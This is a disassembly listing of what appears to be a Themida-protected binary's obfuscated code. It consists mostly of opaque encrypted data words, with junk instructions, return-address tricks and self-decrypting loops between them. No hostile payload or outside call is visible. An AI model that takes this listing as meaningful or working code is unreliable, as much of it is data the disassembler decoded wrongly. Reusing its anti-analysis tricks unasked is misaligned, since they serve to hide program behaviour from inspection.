		dd 565A6106h, 10E9h, 2DED1000h,	0BCD5D89Eh, 6F3EC741h
		dd 372300E7h, 0C2815BB8h, 6E42h, 29FD8589h, 60BE060Bh
		dd 0E900001Bh, 0Eh, 7DD5FB3Ah, 0C24E6695h, 638954E5h, 3A8B6FA7h
		dd 1F658D89h, 0EF81060Bh, 3093848Dh, 33298503h,	0C781060Bh
		dd 0D7D68A8h, 81DBB70Fh, 52D9E8EFh, 0CF7B807h, 3A892A86h
		dd 83C1B70Fh, 858B02EAh, 60B2241h, 0B70F4A4Ah, 1EE83D8h
		dd 12850Fh, 5BB0000h, 0E91B8A95h, 22h, 8FBC7BF9h, 346C0959h
		dd 0F498D89h, 9FE9060Bh, 38FFFFFFh, 9EB62253h, 7F6E99D3h
		dd 0CEC791h, 8D8D3CC0h,	61170BEh, 4D8D89FCh, 1060B17h
		dd 0B32A9BDh, 1985C706h, 4C060B01h, 0F000060h, 85C7C6BFh
		dd 60B1009h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5A3117
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3117	proc near		; CODE XREF: Themida_:005A310Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5A3117	endp

; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BD31DC8Dh, 60B0149h, 891DD280h, 0B183D9Dh, 8DB5FF06h
		dd 0E9060B1Fh, 0Bh, 0F926AF6Fh,	0E7F8ABE0h, 0FFF8DDF3h
		dd 0B0AC595h, 79B50B06h, 6A060B16h, 0DD95FF00h,	8B060B32h
		dd 6B3AEBC0h, 51439FBCh, 48EBB9FAh, 0C4674AE3h,	0A9105757h
		dd 74315BBh, 19BCCD4Dh,	0AD99E0D7h, 0E27565C4h,	157FD26Eh
		dd 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0D1C242FBh
		dd 14E835h, 7D580000h, 2055173Ah, 0D120993Dh, 0B6C9390Bh
		dd 4B4A6FEBh, 0DE9F441h, 3B000000h, 2D533925h, 8045DCB4h
		dd 82C1BE20h, 0A9BD8958h, 81060B0Fh, 5ACDC0h, 25BD8B00h
		dd 68060B0Ch, 1683h, 68B0Fh, 95890000h,	60B0AEDh, 62C9805Bh
		dd 895E30FFh, 0B31C19Dh, 0F4F68106h, 8B40FC78h,	0B08C9BDh
		dd 0DBF68106h, 0B0F354Eh, 0B0E398Dh, 82C68106h,	0B9380668h
		dd 69A828F5h, 0C2803089h, 4E88340h, 12850F4Bh, 0BA000000h
		dd 7C94B5CBh, 32E9h, 1492D200h,	29AB0F55h, 13E823h, 87E10000h
		dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h,	59D78B68h
		dd 0FFFF93E9h, 64287BFFh, 6EA445C8h, 0E86F3C9Ch, 6, 89EB885Bh
		dd 0BE6670C8h, 895A2CBDh, 0B05CDB5h, 0EBC28106h, 0BB000074h
		dd 2A91A4C9h, 7843C381h, 9509D56Eh, 60B2981h, 0BF0F3A8Bh
		dd 7DC781CAh, 91853FFh,	0B1EC195h, 83F78106h, 8B580213h
		dd 0B0CE58Dh, 47F78106h, 0E90511A5h, 10h, 5404610Fh, 0C5A8404Eh
		dd 93E45FB6h, 0C7096247h, 10E957h, 9B690000h, 3707419h
		dd 7FF4951Bh, 0F141CC7h, 28F9470h, 8B01EA83h, 0B27D185h
		dd 4A4A4A06h, 0B6DBD09h, 0EB83060Bh, 15850F01h,	9000000h
		dd 0B10618Dh, 21E906h, 4FFF0000h, 0BCF0854Dh, 0FEB9C752h
		dd 90C08166h, 0FF76E939h, 0E56CFFFFh, 0C5D0695Eh, 647F5B2Eh
		dd 82A4E8C1h, 889A075h,	0DC781469h, 4F378DA6h, 2E86362Eh
		dd 908635A1h, 4813D925h, 99053025h, 148D11B4h, 81023F25h
		dd 7863025h, 49908198h,	0A5893023h, 9086305Eh, 60C3B5E3h
		dd 0CCC8362Eh, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h
		dd 79821461h, 0B11785DAh, 0CD0B362Eh, 22884D3Dh, 0E20DE0DAh
		dd 21C3B5E3h, 0ECC8362Eh, 0D585B61Ah, 20A234A4h, 6F970F74h
		dd 43908190h, 3C03BD23h, 0ED803E58h, 0B07EBBF5h, 84863035h
		dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch,	0DB79C0A0h
		dd 128BD9DAh, 940B3025h, 828D7DF2h, 4286359Dh, 0AC65CF25h
		dd 81F4BB98h, 190BBD23h, 9C802156h, 94B61537h, 8247FF0Eh
		dd 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh, 908635A1h
		dd 4813D925h, 99053025h, 5E983B4h, 22B9A4F3h, 0E8000000h
		dd 0Eh,	436BF0AAh, 61FCDCBDh, 0F4D6047Bh, 9501E026h, 60B06B5h
		dd 96BB665Ah, 1CC281F6h, 66000067h, 688E88BFh, 19A9h, 33C19D8Bh
		dd 235E060Bh, 0B2E918Dh, 29028B06h, 0B1581B5h, 0AC08106h
		dd 8B6C64A9h, 8CE881DAh, 815E2A9Bh, 956CD8EBh, 0A2C0812Dh
		dd 524026FFh, 3820Fh, 8B660000h, 2895BFAh, 2904EA83h, 0B04298Dh
		dd 1EE8306h, 0FFBF850Fh, 9589FFFFh, 60B1F79h, 74FD8D8Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E98FCCC3h, 79867521h, 0CE9h, 5E2BE400h
		dd 18F86697h, 0C3338215h, 0ABE0807Ah, 174D8D89h, 0C7FC060Bh
		dd 0B011985h, 628C06h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 19E5F9E5h, 8589B34Eh
		dd 60B0DB5h, 68F0Fh, 0B58B0000h, 60B2A8Dh, 100985C7h, 60Bh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0EF5841C3h, 205FD20Eh, 0F19D8927h, 0FF060B30h
		dd 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C595FF71h, 6A060B0Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F5D9C356h, 1935B58Bh, 6A060Bh, 32DD95FFh, 0C08B060Bh
		dd 820B0DEBh, 24469F99h, 7A730406h, 0EB0A2184h,	0A41F3F04h
		dd 813E92Ch, 0B2C40000h, 58AF589Bh, 0E1D8A69h, 0BFC72033h
		dd 6EB25380h, 2E358C57h, 698AB5CFh, 995A67BCh, 362D186Ch
		dd 62F1CCD9h, 0AFDB5399h, 20C58568h, 1EBDEB51h,	6BFE5EDh
		dd 1BEB05E3h, 0C3943A6Ah, 0B6AD98EDh, 5D8F94E8h, 3FD122D3h
		dd 0D4F334D9h, 39D7CB14h, 9F1774ADh, 0DF1C9BDh,	0F379445Ch
		dd 6B9CD61h, 0EF0E3A61h, 3AE82FD4h, 0CB655952h,	973F9C28h
		dd 0B9FF0DEBh, 1C68FC6Eh, 933A616Eh, 7B8C81AFh,	613FA4Eh
		dd 9F9947CBh, 349CE90Eh, 63F0D4E5h, 36647891h, 4457462Ch
		dd 570B65AEh, 3A1E2EDFh, 718B7256h, 6886FA4Eh, 4891h, 8B9A0B00h
		dd 58F6CABEh, 0FBDADEE2h, 6352A617h, 0E6E7219Fh, 1FC4FB01h
		dd 400D4CFDh, 276532h, 0DE830000h, 0DF17FBDAh, 0C3941DAEh
		dd 552B9082h, 78CA6754h, 28A5FF29h, 5486B9C3h, 9C605FA9h
		dd 2ED58EB8h, 17h, 0FBDADEB6h, 1DADDF17h, 9484C394h, 5231E69h
		dd 0A7FD22A3h, 0BDBD5B98h, 860A4750h, 8418A442h, 582C196Ah
		dd 48DA0064h, 8F734E5Dh, 87BEC24Bh, 0A531DF33h,	0BD9EFC80h
		dd 916F26C5h, 7BE85655h, 600097F3h, 0CE22183Ah,	64B766EAh
		dd 12618E55h, 49534B3Fh, 59842832h, 2E446B34h, 0BFF560D4h
		dd 9418AA2Eh, 307D1AF0h, 940BD877h, 1003F1D1h, 0E83B123Ch
		dd 96E502D1h, 65E9E82Eh, 0E979CD21h, 307D538Dh,	0CB30BDF7h
		dd 0C10E14B8h, 7D53D9ADh, 7054AE30h, 6F31C71Ch,	0DB9F710Eh
		dd 0F8D5DE65h, 0CD4CB406h, 3740050Ch, 3A25h, 0E6FC300h
		dd 29BD9F71h, 0C3941D5Dh, 0BD76E8D2h, 4D1EBD47h, 0D8C95FA6h
		dd 0C1FEE18h, 50BD5B3Dh, 4E82764Bh, 0DD0208A0h,	1D1FF98Dh
		dd 8E9D6C06h, 5D8BCFB3h, 35C8E7h, 0BD500000h, 889C4450h
		dd 91F5C9BDh, 7F3FE92Dh, 0DAE9DA1Eh, 55DA57F3h,	28D7F1A8h
		dd 4DA10952h, 5D29BDEBh, 7EC3941Dh, 50BDA204h, 13DD0B4Ah
		dd 0FED3DEF5h, 0BD857B18h, 1DCFBB33h, 434EC394h, 0C049B10Eh
		dd 0DE3286BBh, 68C8DD30h, 5663B41Ch, 0F9918E72h, 9ABAB389h
		dd 277CCD21h, 7E52B61Ah, 0BECA62ECh, 31C394AAh,	3B2B1FC9h
		dd 0C3902AF9h, 71F507E5h, 3C682815h, 0C8B78E94h, 535254F2h
		dd 5337BFC9h, 0D43C6828h, 0AB1F227Bh, 7B8A7357h, 6886FA4Eh
		dd 0BEA590E5h, 87BAC332h, 579CE469h, 6828ABDFh,	0E2C63C3Ch
		dd 6A55AF1Eh, 0EFFE38E6h, 516CB865h, 0EF6EA9EDh, 5E8BC5D3h
		dd 0CBD13CEAh, 7CAD6FF4h, 55323DC0h, 37h, 0F8D5DEB3h, 384CE072h
		dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F2B63h, 432A9EE4h
		dd 0C78EC35h, 833A60F3h, 6F75BBFh, 0C17CC0FDh, 5848C2C3h
		dd 495A4342h, 0BD11E77Ch, 0B2831A1Eh, 3F8F5E35h, 948275D9h
		dd 0DF5785F9h, 0C3948DABh, 2528C63Ch, 1911E5D0h, 0FA72F883h
		dd 0BD9FA6FBh, 2FD50E74h, 9F710E6Fh, 0D5DE65DBh, 38B406F8h
		dd 618FBACDh, 50CCDFBh,	8D323740h, 90277D95h, 0B841EFB4h
		dd 50h,	870E6F44h, 941D1B6Fh, 0B296ECC3h, 511EBDDCh, 0CCFB0D6Ah
		dd 0CBFB0478h, 7641571Ch, 0F27AF412h, 0C394F496h, 0BD4F2119h
		dd 790DA133h, 0CEC3941Dh, 0BACE66F4h, 0DC3941Dh, 0DE251B35h
		dd 7B18FED3h
		dd 37C885h, 0B7240000h,	6C1D5197h, 0D74DFB38h, 0EB710E6Fh
		dd 53C89174h, 0B6CA3228h, 0E3C73B8Fh, 29BDDF45h, 0C3941D5Dh
		dd 0BDA2047Eh, 0FED3DE47h, 0BB33BD18h, 0C3941DCFh, 0E4CC7A40h
		dd 0F8D5DE22h, 0C2D7C614h, 4F8D59F7h, 77C3909Dh, 3E4BB03Dh
		dd 0ED37D003h, 31DC6ED2h, 2C60D4EBh, 15F10B02h,	58CC58BBh
		dd 3C6FC82Ch, 93A05FA3h, 0E408D2E6h, 3C6F03E0h,	4B3F1367h
		dd 0F51AABEDh, 5B7A4BAFh, 0C4FEB54Ah, 688173E0h, 41323C1Fh
		dd 1Eh,	0F8D5DEAFh, 5B768372h, 3745A5ADh, 0F7B63E2Ch, 78BD9F05h
		dd 5C56BE02h, 625FA851h, 0D5DE03F1h, 99C614F8h,	4D9ADB12h
		dd 1AA24C89h, 0FB73F982h, 0BD9FF0DEh, 11B9FEAFh, 62D6CA09h
		dd 9620CA2Eh, 61B06A1Eh, 6B85FD3Ah, 0E6F0888h, 40A495E4h
		dd 0C233BDEEh, 0DC3084B1h, 941D7014h, 35EFB7C3h, 0C3CA94F5h
		dd 1074F874h, 97C39422h, 0A9A14FA3h, 6DD5DED7h,	57C92D18h
		dd 33BD4CB4h, 941DCFBBh, 0CC7A40C3h, 4004AB52h,	3D8637h
		dd 0BD6E0000h, 0DA744550h, 0E139BBC2h, 362A6ED2h, 5D29BD50h
		dd 0D2C3941Dh, 33BD76E8h, 4A9AB7C2h, 0C3941D3Eh, 0CD9F49B1h
		dd 4750BD37h, 0D7BB869Fh, 9C719FF3h, 7BDABC8Dh,	2AC885h
		dd 0BD500000h, 0DE084150h, 0BAA0BFDEh, 1DC08428h, 7347C394h
		dd 0F84C798Ah, 0BDF46A84h, 941D5D29h, 0A2047EC3h, 0D3DE47BDh
		dd 857B18FEh, 14F8D5DEh, 909D1EDCh, 7A455FC3h, 0E6D12796h
		dd 20ADE712h, 0B89CA3FBh, 0C9535248h, 4CFAC7DCh, 5A99B4C1h
		dd 0D3F691CEh, 10AD9CCEh, 0E04CF770h, 0FD2B0F9Dh, 0A83C0710h
		dd 3C6F9ADCh, 0E10B6F53h, 3AD4E534h, 0BDC6D6D6h, 9C9E07AFh
		dd 5DEF4264h, 6F1B3DFEh, 8B5B7C2Ch, 3A64CFFFh, 0B8879F70h
		dd 0B89CF0D4h, 0E6F5DBBh, 65DB9F71h, 6F8D5DEh, 0CCD4CB4h
		dd 25374005h, 2Eh, 710E6FC3h, 5D29BD9Fh, 0D2C3941Dh, 33BD76E8h
		dd 1D790DA1h, 0F4CEC394h, 0D3DEE45Ah, 5D21186Bh, 4B8A9079h
		dd 857BF157h, 27C8h, 0E6F5000h,	1EBD9F71h, 6F79A463h, 0E89C1089h
		dd 7FC394DAh, 6709271Bh, 94DABBCFh, 8C62A0C3h, 0D3DE47BDh
		dd 857B18FEh, 1B6DD5DEh, 9564582Ch, 8CC0B483h, 405342A8h
		dd 0FB6BDF09h, 0C3909D39h, 1998C725h, 9F5283D6h, 0A8257FA9h
		dd 0D81B3643h, 1BEFDA2Fh, 78E27903h, 64EDD9F4h,	8654AE42h
		dd 0A394F074h, 0B21B3A64h, 0ADE1556Ch, 3CC49F49h, 9F710E6Fh
		dd 50BD65DBh, 0D5840841h, 0CD01F5C0h, 0C5CE3FE9h, 4CB41688h
		dd 40050CCDh, 392537h, 46B70000h, 72E8063Bh, 9F710E6Fh
		dd 1D5D29BDh, 0E8D2C394h, 0BD47BD76h, 860A4750h, 91A8FB42h
		dd 0CE3FE92Dh, 0D37A55C3h, 46D13Ah, 857B4A2Ch, 40C8h, 0AFF92400h
		dd 6F807690h, 0BD9F710Eh, 0EB2C233h, 0C403409h,	1276FE28h
		dd 39C3941Dh, 59D53B4Ch, 0E0BE5B65h, 0BC6DD135h, 0DD7A5E6Bh
		dd 0B2A755F5h, 0BEDC166h, 0D3DE47BDh, 79816CFEh, 7BB6AC5Ah
		dd 0F8D5DE85h, 477A8372h, 99719FF3h, 6653A253h,	0C90BE92h
		dd 0F701EB70h, 0C639F665h, 3E6DB77Bh, 94E25236h, 1CEDD5C3h
		dd 75493D08h, 95E0BDBh,	0ABEFBD9Eh, 0C9D13C48h,	24C2068Ah
		dd 94EA0498h, 0C5B7D35Bh, 0C2383A61h, 0C2261AEEh, 12E59418h
		dd 704A4471h, 0FDC8DD8Ch, 417C8966h, 0D9A075FDh, 509269C4h
		dd 0A9EE56A5h, 88EC2094h, 0A049445Eh, 4BF07A57h, 527DB95h
		dd 39BA5476h, 3A8EBBCCh, 80744B53h, 9FDC0D9h, 0CEDFABC3h
		dd 6A500ABBh, 0D6BA95E3h, 5529A4FEh, 34DDE8A8h,	0E00DD6E3h
		dd 45B0BA97h, 66EA0433h, 3A1h, 9C84CB00h, 9FDD4DEh, 967A57A0h
		dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh,	71C5FC02h
		dd 0FC407988h, 7BCFFA0Dh, 6A2268CFh, 1C890000h,	81E38924h
		dd 4C3h, 4EB8300h, 5C241C87h, 81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 895C241Ch
; ---------------------------------------------------------------------------
		cmp	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	ebp
		mov	ebp, 611751Ah
		mov	edx, ebp
		pop	ebp
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, 8
		add	ebx, esi
		mov	[ebx], edi
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dd 7B8CF9FAh, 7C89B841h, 0C5030611h, 8403E0FFh,	2745381Dh
		dd 658D0EF5h, 6BAB5F23h, 0EDB76BAFh, 0FE848E6h,	0CB000000h
		dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0CE8195E9h, 494A8690h
		dd 0C281665Bh, 0C381ADDFh, 72B8h, 0B8F0Fh, 850F0000h, 5
		dd 11F4D4BAh, 6865h, 0DE810000h, 6B43318Bh, 0F08B6658h
		dd 66030C8Bh, 81B3A9BAh, 299883E9h, 8B66530Eh, 0F1815FF2h
		dd 5EE014F6h, 0AE9h, 8ACDDB00h,	0D11621D8h, 81374D21h
		dd 4F3F64F1h, 48F5123h,	19890F03h, 0E8000000h, 0Fh, 7D295D95h
		dd 0EBD95F81h, 4BF17428h, 667CB106h, 5E4FB1BAh,	0E883FB8Bh
		dd 0CF88104h, 0FFFFF8Eh, 1285h,	8CCBBE00h, 1CE95AF3h, 0E5000000h
		dd 2C74959Bh, 0F668B89h, 85E9F7B7h, 86FFFFFFh, 696636ABh
		dd 36C9B988h, 8D5DE1A4h, 117ECC8Dh, 0FE906h, 0CB420000h
		dd 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh, 0C840F95h, 0F000000h
		dd 689h, 0A58D8900h, 89060B2Ah,	0B174D8Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 85C723C0h, 60B0119h,	72E0h, 33A4DF81h, 7E90A7Eh, 0FB000000h
		dd 0EDDF979Dh, 85C7CE52h, 60B1009h, 0
; ---------------------------------------------------------------------------
		xor	ebx, 582E2356h
		push	dword ptr [ebp+60B0DA5h]
		mov	edi, [ebp+60B1309h]
		call	dword ptr [ebp+60B0AC5h]
		push	0
		push	edi
		call	sub_5A3F53
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3F53	proc near		; CODE XREF: Themida_:005A3F4Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5A3F53	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	al, 55h
		adc	edx, eax
		cld
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_5A3F9F
; ---------------------------------------------------------------------------
		db 63h,	0AAh, 42h
		dd 289700DBh, 3453160h,	0A20F569Eh, 0F1193EE9h,	691D8476h
		dd 8F4953D5h, 650AB18Ch, 4ED9587Bh, 0C91D2473h
		db 0B2h, 0CCh, 0Dh
; ---------------------------------------------------------------------------


loc_5A3F9F:				; CODE XREF: Themida_:005A3F73j
		call	sub_5A3FB3
		bound	edi, [esi+33DB7313h]
		dec	edx
		xlat
		pop	ebx
		xchg	eax, esi
		test	eax, 1E266F1h

; =============== S U B	R O U T	I N E =======================================



sub_5A3FB3	proc near		; CODE XREF: Themida_:loc_5A3F9Fp
		push	ebx
		jmp	loc_5A3FC4
; ---------------------------------------------------------------------------
		db 74h,	67h, 0DEh
; ---------------------------------------------------------------------------
		mov	[ebp+472AEFF4h], eax
		sal	eax, cl


loc_5A3FC4:				; CODE XREF: sub_5A3FB3+1j
		pop	edi
		pop	eax
		add	eax, 7333h
		mov	di, dx
		mov	edx, 1C98h
		cmc


loc_5A3FD5:				; CODE XREF: sub_5A4017+4Fj
		mov	ecx, [eax]
		mov	[ebp+60B2DE5h],	esi
		sub	ecx, 20452EC4h
		mov	[ebp+60B17E1h],	ebx
		add	ecx, 7E98FEFBh
		and	ebx, 62B5C88h
		add	ecx, 3FD450Fh
		sub	ebx, [ebp+60B29FDh]
		mov	[eax], ecx
		call	sub_5A4017
		cmp	ebx, [edi-2Dh]
		enter	0FFFFD0EAh, 1Ch
		iret
sub_5A3FB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 1397E1DEh
		db 1Ah,	0F9h, 6Ch

; =============== S U B	R O U T	I N E =======================================



sub_5A4017	proc near		; CODE XREF: sub_5A3FB3+50p
		cld
		pop	esi
		sub	eax, 70C8538Bh
		jmp	loc_5A4038
; ---------------------------------------------------------------------------
		dd 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh
; ---------------------------------------------------------------------------


loc_5A4038:				; CODE XREF: sub_5A4017+8j
		add	eax, 70C85387h
		mov	[ebp+60B14EDh],	eax
		sub	edx, 1
		jnz	loc_5A4060
		mov	[ebp+60B193Dh],	ecx
		jmp	loc_5A407B
; ---------------------------------------------------------------------------
		dd 0FFA06581h, 3A2D71E0h
; ---------------------------------------------------------------------------


loc_5A4060:				; CODE XREF: sub_5A4017+30j
		xor	ebx, [ebp+60B02D1h]
		jmp	loc_5A3FD5
; ---------------------------------------------------------------------------
		db 0B2h
		dd 3BA195F6h, 6DFECFBCh, 0B116C14Ah
		db 0ECh, 4Eh, 0A8h
; ---------------------------------------------------------------------------


loc_5A407B:				; CODE XREF: sub_5A4017+3Cj
		lea	ecx, [ebp+6118083h]
		push	0
		push	edi
		call	sub_5A408C
		and	[edi-3Dh], bl
sub_5A4017	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A408C	proc near		; CODE XREF: sub_5A4017+6Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5A408C	endp

; ---------------------------------------------------------------------------
		jg	short loc_5A40E4
		jmp	loc_5A40AA
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0D194B4E5h
; ---------------------------------------------------------------------------
		xchg	eax, edi
		retn
; ---------------------------------------------------------------------------


loc_5A40AA:				; CODE XREF: Themida_:005A409Ej
		mov	[ebp+60B174Dh],	ecx
		push	0
		push	eax
		call	sub_5A40BB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A40BB	proc near		; CODE XREF: Themida_:005A40B3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5A40BB	endp

; ---------------------------------------------------------------------------
		db 50h
		dd 3430E078h, 0C1B589A6h, 0C7060B33h, 0B011985h, 73B006h
		dd 0C7E58A00h
; ---------------------------------------------------------------------------


loc_5A40E4:				; CODE XREF: Themida_:005A409Cj
		test	[ecx], ecx
		adc	[ebx], cl
		push	es
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 8D896000h, 60B2815h,	8558D8Bh, 0FF61060Bh, 0B0DA5B5h
		dd 0AE806h, 0DE570000h,	0E001A639h, 8180EC63h, 51CE8166h
		dd 95FF5A4Fh, 60B0AC5h,	4880BB66h, 95FF006Ah, 60B32DDh
		dd 2AEBC08Bh, 0DBCC130h, 0B3C3BA8Bh, 0C94AE5E0h, 741C27A1h
		dd 0B679795h, 0D8994507h, 0D9E24EC6h, 91E0A90h,	755AE68Bh
		dd 13E63261h, 8D8D963Bh, 611818Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 5FC35040h, 0ACCA082Dh, 66F31D56h
		dd 2CAEE281h, 174D8D89h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8B66ABC3h, 1985C7F1h
		dd 94060B01h, 6A00006Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0A3B0C351h,	958955D5h
		dd 60B2A99h, 2E09B529h,	85C7060Bh, 60B1009h, 0
; ---------------------------------------------------------------------------
		movzx	ebx, ax
		jmp	loc_5A41F5
; ---------------------------------------------------------------------------
		dd 8EF69DE8h
		db 29h
; ---------------------------------------------------------------------------


loc_5A41F5:				; CODE XREF: Themida_:005A41EBj
		push	dword ptr [ebp+60B19C9h]
		push	0
		push	edi
		call	sub_5A4206
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4206	proc near		; CODE XREF: Themida_:005A41FEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5A4206	endp

; ---------------------------------------------------------------------------
		dw 0EC4Eh
; ---------------------------------------------------------------------------
		mov	ebp, 0D9BC0D1Fh
		mov	ebx, 4499C5E5h
		call	dword ptr [ebp+60B0AC5h] ; CODE	XREF: Themida_:005A4296j
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_5A42A1
; ---------------------------------------------------------------------------
		dd 0FA5E8479h, 0F531F0B0h
		db 0E7h
; ---------------------------------------------------------------------------


loc_5A423D:				; CODE XREF: Themida_:005A428Dj
		db	66h
		mov	[eax+ebx*2+7FE36B50h], cl
		cmp	al, 0E0h
		xchg	eax, esp
		cmp	eax, 11095465h
		jmp	fword ptr [ebx]
; ---------------------------------------------------------------------------
		jmp	short loc_5A4253
; ---------------------------------------------------------------------------
		db 0EBh, 0FBh
; ---------------------------------------------------------------------------


loc_5A4253:				; CODE XREF: Themida_:005A424Fj
		inc	esp
		jmp	near ptr 0E6FAE71h
; ---------------------------------------------------------------------------
		db 18h,	5Bh, 31h
		dd 0F4A49B4Eh, 29F058ACh, 6CC3CD0Ah, 5E437616h,	23BF017Fh
		dd 0B63E7CA4h, 0DD733DC2h, 8F73E778h, 8A3B2716h
		db 66h,	35h, 3Ch
; ---------------------------------------------------------------------------


loc_5A4283:				; CODE XREF: Themida_:005A42A6j
		imul	byte ptr [edi]
		push	ss
		xchg	edx, esp
		cmp	eax, 64FBCB25h
		jge	short loc_5A423D
		repne xor esi, [ebx-61EA03B0h]
		jo	short near ptr loc_5A4222+3
		sub	[esi-800F2F8h],	dl
		sub	bh, [edi]
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_5A42A1:				; CODE XREF: Themida_:005A4232j
		call	near ptr loc_5A42AB+1
		js	short loc_5A4283
		xchg	dh, bh
		sti


loc_5A42AB:				; CODE XREF: Themida_:loc_5A42A1p
		lock movsx edx,	si
		pop	ebx
		movzx	esi, ax
		add	ebx, 65F6h
		mov	dl, 8Dh
		sub	eax, eax
		sub	si, 87FAh


loc_5A42C2:				; CODE XREF: Themida_:005A4320j
		push	dword ptr [eax+ebx]
		or	[ebp+60B1AA1h],	ecx
		pop	edi
		mov	ecx, ebx
		sub	edi, 399AB766h
		mov	ecx, [ebp+60B1B31h]
		add	edi, 299A309Bh
		mov	edx, ebx
		add	edi, 452361Ch
		jl	loc_5A4305
		jmp	loc_5A4305
; ---------------------------------------------------------------------------
		db 65h
		dd 22BCE094h, 0BD3324F9h, 9B85E6CCh, 92A6B875h
		db 80h
; ---------------------------------------------------------------------------


loc_5A4305:				; CODE XREF: Themida_:005A42E8j
					; Themida_:005A42EEj
		mov	[ebx+eax], edi
		sub	dl, 9
		mov	cx, bx
		sub	eax, 4
		jb	loc_5A431A
		movsx	ecx, cx


loc_5A431A:				; CODE XREF: Themida_:005A4311j
		cmp	eax, 0FFFF9A8Ch
		jnz	loc_5A42C2
		sub	[ebp+60B29D9h],	ecx
		lea	ecx, [ebp+611837Eh]
		push	0
		push	esi
		call	sub_5A433D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A433D	proc near		; CODE XREF: Themida_:005A4335p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5A433D	endp

; ---------------------------------------------------------------------------
		db 89h,	91h, 29h
		dd 9E90CDD9h, 8D89ECC5h, 60B174Dh, 1BB9B589h, 85C7060Bh
		dd 60B0119h, 74E8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0F0C35646h, 90E3458h,	8B788B1Bh, 0B2201BDh
		dd 985C706h, 60B10h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 892AC351h, 0B0C81B5h
		dd 0A9B5FF06h, 6A060B1Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 724EC357h, 41BD29E4h
		dd 0E9060B09h, 5, 0DA75EDE8h, 0C595FF11h, 6A060B0Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0CBB7C351h, 6AFA8B66h, 0DD95FF00h, 8B060B32h, 0B44FEBC0h
		dd 0CDDF3750h, 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h
		dd 0E2BC208Eh, 9ACB3AFh, 12E86F39h, 503ADC53h, 21215D1Dh
